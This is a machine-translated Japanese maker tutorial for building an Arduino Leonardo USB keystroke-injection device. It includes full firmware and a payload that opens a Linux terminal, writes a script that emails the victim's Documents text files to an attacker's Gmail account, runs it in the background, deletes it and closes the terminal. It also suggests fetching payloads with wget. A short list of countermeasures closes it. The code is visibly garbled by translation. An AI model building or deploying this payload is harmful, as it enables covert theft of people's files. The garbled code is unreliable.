工業製造
産業用モノのインターネット | 工業材料 | 機器のメンテナンスと修理 | 産業プログラミング |
home  MfgRobots >> 工業製造 >  >> Manufacturing Technology >> 製造プロセス

Arduinoキーボードエクスプロイトデモ(HID)と防止

コンポーネントと消耗品

>
Arduino Leonardo
× 1
SDカードリーダー
× 1
SDカード
× 1
押しボタン3ピン(抵抗付き)
× 1
ジャンパー線(汎用)
× 1
USB-A-マイクロUSBケーブル
× 1

このプロジェクトについて

このプロジェクトでは、Arduino Leonardoを使用して、HID(ヒューマンインターフェイスデバイス)を使用したUSB攻撃の可能性をシミュレートします。

このチュートリアルは、ハッカーを助けるためではなく、実際の危険とそれらの危険から身を守る方法を示すために作成しました。このデバイスは、ハッカー向けのどのプラットフォームでも使用できるデバイスではなく、より詳細な概念実証です。

次のことを学びます:

  • arduinoleonardoを使用してキーボードをエミュレートする方法
  • SDカードからデータを読み取る方法
  • ファイルをスキャンしてメールで送信するPythonスクリプトを作成する方法
  • USBハッキングデバイスから身を守る方法

ステップ1:材料

パーツ:

1。 Arduino leonardo

2。マイクロUSBカードリーダー

3。数GBのSDカード

4。 のような押しボタン この 1つ(VCC、グラウンド、信号)

5。メス-オスおよびメス-メスのジャンパーケーブル

6。マイクロUSB-USBケーブル

ステップ2:デバイスを構築する

構築手順の前に、動作原理を確認しましょう:

Arduino leonardoは、ヒューマンインターフェイスデバイス(HID)のように動作できるため、マウスとキーボードをエミュレートできます。この機能を使用して、ターミナル(UBUNTU linux)を開き、ユーザーのホームフォルダーcopy.txtファイル内の/ Documentsフォルダーにアクセスして、誰かに電子メールで送信する小さなスクリプトを作成します。詳細を知りたい場合は、次のステップを確認してください。

デモデバイスなので、物事は本当にシンプルなので、何もはんだ付けするつもりはありません。

組み立て手順

始める前に、添付ファイル、フリッツ回路図、および必要なすべてのファイルを確認しました

1。コンポーネントを組み立てます:

*マイクロUSBケーブルをarduinoに接続します

*キースイッチをarduinoに接続します(アース、vcc、出力モジュールをD8に接続します)

*カードリーダーをarduinoに接続します(ICSPヘッダーを使用)。 Arduino leonardoにはデジタルピンに接続されたICSPヘッダーがないため、カードリーダーをICSPヘッダーに接続する必要があります。 ICSPのいくつかの図面はここにあります:https://learn.sparkfun.com/tutorials/installing-an .... SSピンをデジタルピン10に接続します

2. arduinoコードを取得します 、githubで私のarduinoリポジトリのクローンを作成できます:https://github.com/danionescu0/arduinoそしてprojects / keyboard_exploitにアクセスするか以下から入手してください:

  #include "Keyboard.h" #include "SPI.h" #include "SD.h" String filenameOnCard ="hack.txt"; String sleepCommandStartingPoint ="Sleep ::"; String commandStartingPoint ="Command ::"; int delayBetweenCommands =10; const int buttonPin =8; const int chipSelect =10; int previousButtonState =HIGH; void setup(){pinMode(buttonPin、INPUT); Serial.begin(9600); Keyboard.begin(); if(!SD.begin(chipSelect)){Serial.println( "カードが失敗したか、存在しません!");戻る; }} void loop(){int buttonState =digitalRead(buttonPin); if((buttonState!=previousButtonState)&&(buttonState ==HIGH)){sdFileToKeyboard(); Serial.println( "アップロード済み!"); delay(500); } previousButtonState =buttonState;} void sdFileToKeyboard(){ファイルdataFile =SD.open(filenameOnCard); if(!dataFile){Serial.println( "指定されたファイル名がSDカードに存在しません。filenameOnCardを確認してください!"); }文字列行; while(dataFile.available()){line =dataFile.readStringUntil( '\ n'); Serial.println(line); sendToKeyboard(line); } dataFile.close();} void sendToKeyboard(String line){String workingLine =line; if(workingLine.indexOf(sleepCommandStartingPoint)!=-1){sleepFor(line);戻る; } if(workingLine.indexOf(commandStartingPoint)==-1){Serial.print( "Text:"); Serial.println(line); Keyboard.println(line); pressEnter();戻る; } Serial.println( "コマンド:"); int charPosition =commandStartingPoint.length(); int lineLength =line.length(); workingLine + ="、"; while(workingLine!=""){workingLine =workingLine.substring(charPosition); Serial.print( "WorkingLine:"); Serial.println(workingLine); int specialCommandDelimiterPosition =workingLine.indexOf( "、");文字列コマンド=workingLine.substring(0、specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if(command!=""){Serial.print( "Command found:"); Serial.println(command); Keyboard.press(getCommandCode(command)); delay(delayBetweenCommands); }} Keyboard.releaseAll(); delay(delayBetweenCommands);} void pressEnter(){Keyboard.press(KEY_RETURN); Keyboard.releaseAll();} void sleepFor(String line){int sleepAmount =line.substring(sleepCommandStartingPoint.length()、line.length())。toInt(); Serial.print( "Sleeping for:"); Serial.println(sleepAmount); delay(sleepAmount);} char getCommandCode(String text){char textCharacters [2]; text.toCharArray(textCharacters、2); char code =textCharacters [0];コード=(テキスト=="KEY_LEFT_CTRL")? KEY_LEFT_CTRL:コード;コード=(テキスト=="KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT:コード;コード=(テキスト=="KEY_LEFT_ALT")? KEY_LEFT_ALT:コード;コード=(テキスト=="KEY_UP_ARROW")? KEY_UP_ARROW:コード;コード=(テキスト=="KEY_DOWN_ARROW")? KEY_DOWN_ARROW:コード;コード=(テキスト=="KEY_LEFT_ARROW")? KEY_LEFT_ARROW:コード;コード=(テキスト=="KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW:コード;コード=(テキスト=="KEY_RIGHT_GUI")? KEY_RIGHT_GUI:コード;コード=(テキスト=="KEY_BACKSPACE")? KEY_BACKSPACE:コード;コード=(テキスト=="KEY_TAB")? KEY_TAB:コード;コード=(テキスト=="KEY_RETURN")? KEY_RETURN:コード;コード=(テキスト=="KEY_ESC")? KEY_ESC:コード;コード=(テキスト=="KEY_INSERT")? KEY_INSERT:コード;コード=(テキスト=="KEY_DELETE")? KEY_DELETE:コード;コード=(テキスト=="KEY_PAGE_UP")? KEY_PAGE_UP:コード;コード=(テキスト=="KEY_PAGE_DOWN")? KEY_PAGE_DOWN:コード;コード=(テキスト=="KEY_HOME")? KEY_HOME:コード;コード=(テキスト=="KEY_END")? KEY_END:コード;コード=(テキスト=="KEY_CAPS_LOCK")? KEY_CAPS_LOCK:コード;コード=(テキスト=="KEY_F1")? KEY_F1:コード;コード=(テキスト=="KEY_F2")? KEY_F2:コード;コード=(テキスト=="KEY_F3")? KEY_F3:コード;コード=(テキスト=="KEY_F4")? KEY_F4:コード;コード=(テキスト=="KEY_F5")? KEY_F5:コード;コード=(テキスト=="KEY_F6")? KEY_F6:コード;コード=(テキスト=="KEY_F7")? KEY_F7:コード;コード=(テキスト=="KEY_F8")? KEY_F8:コード;コード=(テキスト=="KEY_F9")? KEY_F9:コード;コード=(テキスト=="KEY_F10")? KEY_F10:コード;コード=(テキスト=="KEY_F11")? KEY_F1:コード;コード=(テキスト=="KEY_F12")? KEY_F2:コード; 

リターンコード;}

3。コードをarduinoにアップロードします。必ず、9600ボーレート、シリアルポート、およびarduino leonardo を選択してください。

4。 FAT16またはFAT32を使用してSDカードをフォーマットします

5。上からgithubリポジトリのクローンを作成した場合は、 コピー カード上のhack.txtファイル(ファイルが以下にリストされていない場合):

  Command ::KEY_LEFT_CTRL、KEY_LEFT_ALT、tSleep ::500vi hack.pySleep ::300Command ::KEY_INSERTimport smtplibimport glob、osfrom os.path import Expanduserfrom email.MIMEMultipart import MIMEMultipartfrom email.MIMEBase import MIMEBasefrom email.MIMEText import MIMETextfrom email.Utils import COMMASPACE、formatdatefrom email import Encoderssmtp_user ='sender_gmail_address' smtp_pass ='sender_gmail_password' to_address ='receiver_address' scan_documents_location ='Documents' subject =body ='ハッキングされたコンピューターからのファイル' header ='To:{0} \ nFrom: {1} \ n件名:{2} \ n'.format(to_address、smtp_user、subject)def sendMail(to、subject、text、files =[]):msg =MIMEMultipart()msg ['From'] =smtp_user msg ['To'] =COMMASPACE.join(to)msg ['Date'] =formatdate(localtime =True)msg ['Subject'] =サブジェクトmsg.attach(MIMEText(text))ファイル内のファイル:part =MIMEBase ( 'application'、 "octet-stream")part.set_payload(open(file、 "rb")。read())Encoders.encode_base64(par t)part.add_header( 'Content-Disposition'、 '添付ファイル; filename ="%s" '%os.path.basename(file))msg.attach(part)server =smtplib.SMTP(' smtp.gmail.com:587')server.starttls()server.login(smtp_user、 smtp_pass)server.sendmail(smtp_user、to、msg.as_string())server.quit()sendMail([to_address]、subject、body、glob.glob( "{0} / {1}/*。txt".format (expanduser( "〜")、scan_documents_location)))Sleep ::50Command ::KEY_ESCSleep ::100:xSleep ::500nohup python hack.py&Sleep ::700rm -rf hack.pySleep ::400Command ::KEY_LEFT_ALT、KEY_F4  

6。次の行を編集します:

  smtp_user ='sender_email_addr' smtp_pass ='sender_password' to_address ='receiver_address'  

メールアドレスに置き換えてください

7。カードを取り外して、arduinoカードリーダーに挿入します

Sketch.fzz Keyboard_exploit.ino hack.txt hack.py

ステップ3:詳細な仕組み

攻撃の仕組み:

1。 ボタンが押されると、レオナルドはSDカードリーダーを使用してSDカードを読み取ります。キーとキーの組み合わせを含む特別なファイルがカードに表示されます。ファイル名は「hack.txt」です。

ファイルには生のテキストを含めることができ、そのままキーボードに渡されます。

また、「Sleep ::」や「Command ::」などの特別なコマンドを含めることもできます。

次のような行:

Sleep ::200は、200ミリ秒のスリープを意味します

次のような行:

Command ::KEY_LEFT_CTRL、KEY_LEFT_ALT、tは、左Ctrlキーが押され、左Altキーが押され、tキーが押され、すべて解放されたことを意味します

ここですべての特殊キーを確認できます:https://www.arduino.cc/en/Reference/KeyboardModif ...

2. Leonardoは行ごとに読み取り、コマンドを解釈してキーボードのキーをエミュレートします。ファイル「hack.txt」には、次のことを行うキーの組み合わせが含まれています(UBUNTU linuxの場合):

a。ターミナルを開きます(CTRL + ALT + T)

b。 viを使用して作成するPythonファイルを開きます(「vihack.py」と記述します

c。ドキュメントのホームフォルダ内のすべてのテキストファイルを収集し、指定されたGmailアドレスに送信するPythonスクリプトを内部に書き込みます

d。ファイルをバックグラウンドで実行します( "nohup python hack.py&")

e。ファイルを削除します(rm -rf hack.py)

f。ターミナルを閉じます(ALT + F4)

このすべてが数秒で実行され、痕跡を残しません。

機能強化とトラブルシューティング

*ターミナルを開いた後、Pythonファイルを書いていることに気付くかもしれません。より良い方法は、どこかでホストし、「wget some_url」コマンドを使用してダウンロードしてから、名前をhack.pyに変更することです。

*また、対象のオペレーティングシステム用の既製のエクスプロイトをダウンロードまたは実行することもできます

* Wi-Fiをモジュールに追加でき、ハックはWIFI経由でアップロードできます

* arduino micro(はるかに小さい)を使用して、エクスプロイトコードを埋め込む(小さくする)ことができます

制限事項

1.シミュレートされたデバイス(キーボードとマウス)にはフィードバックがないため、遅延を使用する必要があることを意味するコマンドを発行した後に何が起こるかわかりません。たとえば、ターミナルを開くコマンドを発行していますが、実際にいつ開くかわからないため、後に入力した文字が失われないように、任意の遅延を指定する必要があります。

2. USBポートにアクセスできない、何かをインストールする権限がないなどの権限の問題が発生する可能性があります

3.レオナルドではタイピング速度はそれほど速くありません

4.対象のオペレーティングシステム(この場合はUBUNTU linux)でのみ動作します

次のステップでは、この制限を悪用してコンピュータがハッキングされるのを防ぐ方法を見つけようとします

ステップ4:対策

1.USBポートを無効にする

-Windowsの場合、このチュートリアルを確認できます:http://www.thewindowsclub.com/disable-enable-usb-w ...

2. USBデバイスのホワイトリスト:

-Windowsの場合:https://superuser.com/questions/1152012/block-unbl ...

2.離れていないときにコンピュータをロックします

3. rootとしてログインしないでください(何かをインストールするにはパスワードが必要です)

4.自分自身を最新の状態に保ちます(自動更新をオンにします)

コード

  • keyboard_exploit.ino
  • コードスニペット#1
  • コードスニペット#2
Keyboard_exploit.ino Arduino
ファイルを開くときにエラーが発生しました。
コードスニペット#1 プレーンテキスト
 #include "Keyboard.h" #include "SPI.h" #include "SD.h" String filenameOnCard ="hack.txt"; String sleepCommandStartingPoint ="Sleep ::"; String commandStartingPoint ="Command ::"; int delayBetweenCommands =10; const int buttonPin =8; const int chipSelect =10; int previousButtonState =HIGH; void setup(){pinMode(buttonPin、INPUT); Serial.begin(9600); Keyboard.begin(); if(!SD.begin(chipSelect)){Serial.println( "カードが失敗したか、存在しません!");戻る; }} void loop(){int buttonState =digitalRead(buttonPin); if((buttonState!=previousButtonState)&&(buttonState ==HIGH)){sdFileToKeyboard(); Serial.println( "アップロード済み!"); delay(500); } previousButtonState =buttonState;} void sdFileToKeyboard(){ファイルdataFile =SD.open(filenameOnCard); if(!dataFile){Serial.println( "指定されたファイル名がSDカードに存在しません。filenameOnCardを確認してください!"); }文字列行; while(dataFile.available()){line =dataFile.readStringUntil( '\ n'); Serial.println(line); sendToKeyboard(line); } dataFile.close();} void sendToKeyboard(String line){String workingLine =line; if(workingLine.indexOf(sleepCommandStartingPoint)!=-1){sleepFor(line);戻る; } if(workingLine.indexOf(commandStartingPoint)==-1){Serial.print( "Text:"); Serial.println(line); Keyboard.println(line); pressEnter();戻る; } Serial.println( "コマンド:"); int charPosition =commandStartingPoint.length(); int lineLength =line.length(); workingLine + ="、"; while(workingLine!=""){workingLine =workingLine.substring(charPosition); Serial.print( "WorkingLine:"); Serial.println(workingLine); int specialCommandDelimiterPosition =workingLine.indexOf( "、");文字列コマンド=workingLine.substring(0、specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if(command!=""){Serial.print( "Command found:"); Serial.println(command); Keyboard.press(getCommandCode(command)); delay(delayBetweenCommands); }} Keyboard.releaseAll(); delay(delayBetweenCommands);} void pressEnter(){Keyboard.press(KEY_RETURN); Keyboard.releaseAll();} void sleepFor(String line){int sleepAmount =line.substring(sleepCommandStartingPoint.length()、line.length())。toInt(); Serial.print( "Sleeping for:"); Serial.println(sleepAmount); delay(sleepAmount);} char getCommandCode(String text){char textCharacters [2]; text.toCharArray(textCharacters、2); char code =textCharacters [0];コード=(テキスト=="KEY_LEFT_CTRL")? KEY_LEFT_CTRL:コード;コード=(テキスト=="KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT:コード;コード=(テキスト=="KEY_LEFT_ALT")? KEY_LEFT_ALT:コード;コード=(テキスト=="KEY_UP_ARROW")? KEY_UP_ARROW:コード;コード=(テキスト=="KEY_DOWN_ARROW")? KEY_DOWN_ARROW:コード;コード=(テキスト=="KEY_LEFT_ARROW")? KEY_LEFT_ARROW:コード;コード=(テキスト=="KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW:コード;コード=(テキスト=="KEY_RIGHT_GUI")? KEY_RIGHT_GUI:コード;コード=(テキスト=="KEY_BACKSPACE")? KEY_BACKSPACE:コード;コード=(テキスト=="KEY_TAB")? KEY_TAB:コード;コード=(テキスト=="KEY_RETURN")? KEY_RETURN:コード;コード=(テキスト=="KEY_ESC")? KEY_ESC:コード;コード=(テキスト=="KEY_INSERT")? KEY_INSERT:コード;コード=(テキスト=="KEY_DELETE")? KEY_DELETE:コード;コード=(テキスト=="KEY_PAGE_UP")? KEY_PAGE_UP:コード;コード=(テキスト=="KEY_PAGE_DOWN")? KEY_PAGE_DOWN:コード;コード=(テキスト=="KEY_HOME")? KEY_HOME:コード;コード=(テキスト=="KEY_END")? KEY_END:コード;コード=(テキスト=="KEY_CAPS_LOCK")? KEY_CAPS_LOCK:コード;コード=(テキスト=="KEY_F1")? KEY_F1:コード;コード=(テキスト=="KEY_F2")? KEY_F2:コード;コード=(テキスト=="KEY_F3")? KEY_F3:コード;コード=(テキスト=="KEY_F4")? KEY_F4:コード;コード=(テキスト=="KEY_F5")? KEY_F5:コード;コード=(テキスト=="KEY_F6")? KEY_F6:コード;コード=(テキスト=="KEY_F7")? KEY_F7:コード;コード=(テキスト=="KEY_F8")? KEY_F8:コード;コード=(テキスト=="KEY_F9")? KEY_F9:コード;コード=(テキスト=="KEY_F10")? KEY_F10:コード;コード=(テキスト=="KEY_F11")? KEY_F1:コード;コード=(テキスト=="KEY_F12")? KEY_F2:コード; 

リターンコード;}

コードスニペット#2 プレーンテキスト
 Command ::KEY_LEFT_CTRL、KEY_LEFT_ALT、tSleep ::500vi hack.pySleep ::300Command ::KEY_INSERTimport smtplibimport glob、osfrom os.path import Expanduserfrom email.MIMEMultipart import MIMEMultipartfrom email.MIMEBase import MIMEBasefrom email.MIMEText import MIMETextfrom email.Utils import COMMASPACE、formatdatefrom email import Encoderssmtp_user ='sender_gmail_address' smtp_pass ='sender_gmail_password' to_address ='receiver_address' scan_documents_location ='Documents' subject =body ='ハッキングされたコンピューターからのファイル' header ='To:{0} \ nFrom:{1} \ n件名:{2} \ n'.format(to_address、smtp_user、subject)def sendMail(to、subject、text、files =[]):msg =MIMEMultipart()msg ['From'] =smtp_user msg ['To '] =COMMASPACE.join(to)msg [' Date '] =formatdate(localtime =True)msg [' Subject '] =subject msg.attach(MIMEText(text))for file in files:part =MIMEBase(' application '、 "octet-stream")part.set_payload(open(file、 "rb")。read())Encoders.encode_base64(part) part.add_header( 'Content-Disposition'、 '添付ファイル; filename ="%s" '%os.path.basename(file))msg.attach(part)server =smtplib.SMTP(' smtp.gmail.com:587')server.starttls()server.login(smtp_user、 smtp_pass)server.sendmail(smtp_user、to、msg.as_string())server.quit()sendMail([to_address]、subject、body、glob.glob( "{0} / {1}/*。txt".format (expanduser( "〜")、scan_documents_location)))Sleep ::50Command ::KEY_ESCSleep ::100:xSleep ::500nohup python hack.py&Sleep ::700rm -rf hack.pySleep ::400Command ::KEY_LEFT_ALT、KEY_F4 
Github
https://github.com/danionescu0/arduinohttps://github.com/danionescu0/arduino

回路図

Sketch_D4S1ftXkTU.fzz
Arduinoリポジトリ
スケッチはprojects / keyboard_exploithttps://github.com/danionescu0/arduino
内にあります

製造プロセス

  1. LCDアニメーションとゲーム
  2. Arduinoとスマートフォンを使用したDIY電圧計
  3. 温度および湿度データロガー
  4. Arduino + LED + MIDIキーボード+ MuseScore =ピアノチューター
  5. Python3とArduinoコミュニケーション
  6. ArduinoおよびOLEDベースのセルオートマトン
  7. ArduinoとRDA8057Mを使用したFMラジオ
  8. ArduinoとGoogleスプレッドシートに基づく出席システム
  9. Arduino用の64キープロトタイピングキーボードマトリックス
  10. Arduino Calculator
  11. IoT:Windows RemoteArduinoとユニバーサルアプリ